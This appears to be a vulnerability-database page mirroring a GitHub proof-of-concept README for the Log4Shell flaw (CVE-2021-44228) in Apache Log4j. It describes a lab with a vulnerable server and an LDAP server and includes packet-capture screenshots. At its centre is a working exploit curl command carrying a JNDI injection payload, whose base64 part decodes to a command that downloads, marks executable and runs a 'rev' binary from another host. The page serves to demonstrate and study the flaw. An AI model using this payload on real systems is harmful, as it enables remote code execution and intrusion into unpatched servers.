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CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

来源
https://github.com/Sumitpathania03/LOG4J-CVE-2021-44228
关联漏洞
标题:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇（Apache）基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞，攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器，当该请求被打印成日志时就会触发远程代码执行。
介绍
# LOG4J-CVE-2021-44228

Log4Shell — also known as CVE-2021-44228 — is a critical vulnerability that enables remote code execution in systems using the Apache Foundation’s Log4j, which is an open-source Java library that is extensively used in commercial and open-source software products and utilities


![0_6ImDNNYn_uGlIgog](https://user-images.githubusercontent.com/126046383/231078375-9a93ded8-446f-4bc6-94df-94bdc8ce2173.jpg)





POC Anaylsis

The vulnerable Server is running on port 8080 

![Screenshot 2023-04-11 115553](https://user-images.githubusercontent.com/126046383/231081730-f55fb095-eee9-43cc-be84-39f0f6dbea38.png)

And the ldap server is running on two ports http 8888 and ldap 1389


![Screenshot 2023-04-11 115631](https://user-images.githubusercontent.com/126046383/231081974-427344be-28fd-408d-8ca3-6f9e2b1fa353.png)




**EXPLOIT COMMAND**

curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==}'


{  

172.17.0.2:8080 -- Vulnerable Server IP
   
   
   
172.17.0.1:1389 -- LDAP Server IP 
   





Base64 -- d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==


Decrypted Command - wget https://10.0.2.15:8000/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev

}

**PACKET ANALYSIS**


![PACKETS](https://user-images.githubusercontent.com/126046383/231113123-3af025cc-8056-4ab5-9cf8-a68fccadfa3c.png)



![flowgraph](https://user-images.githubusercontent.com/126046383/231113209-86a3a916-b793-4952-9819-a2774c3ace05.png)


AS WE CAN SEE IN THE PACKETS THAT THE SERVER IS SENDING A GET REQUEST FOR A CLASS TO LDAP SERVER , IF WE CHECK THE EXPLOIT CLASS THEN WE CAN SEE THAT LDAP SERVER IS SENDING THE DECRYPTED COMMAND IN THE EXPLOIT CLASS.

![EXP_CLASS](https://user-images.githubusercontent.com/126046383/231115302-e8f4ee04-1e06-4a6e-93c4-61b7c4a7e81c.png)





















Ref



https://github.com/simrotion13/log4shell-vulnerable-app




https://github.com/black9/Log4shell_JNDIExploit.git
文件快照

 [4.0K]  /data/pocs/c2521d9e7ade6dd09c12ed2f13e3c0b1314dac14
├── [2.1K]  README.md
└── [1.3K]  testing.py

0 directories, 2 files
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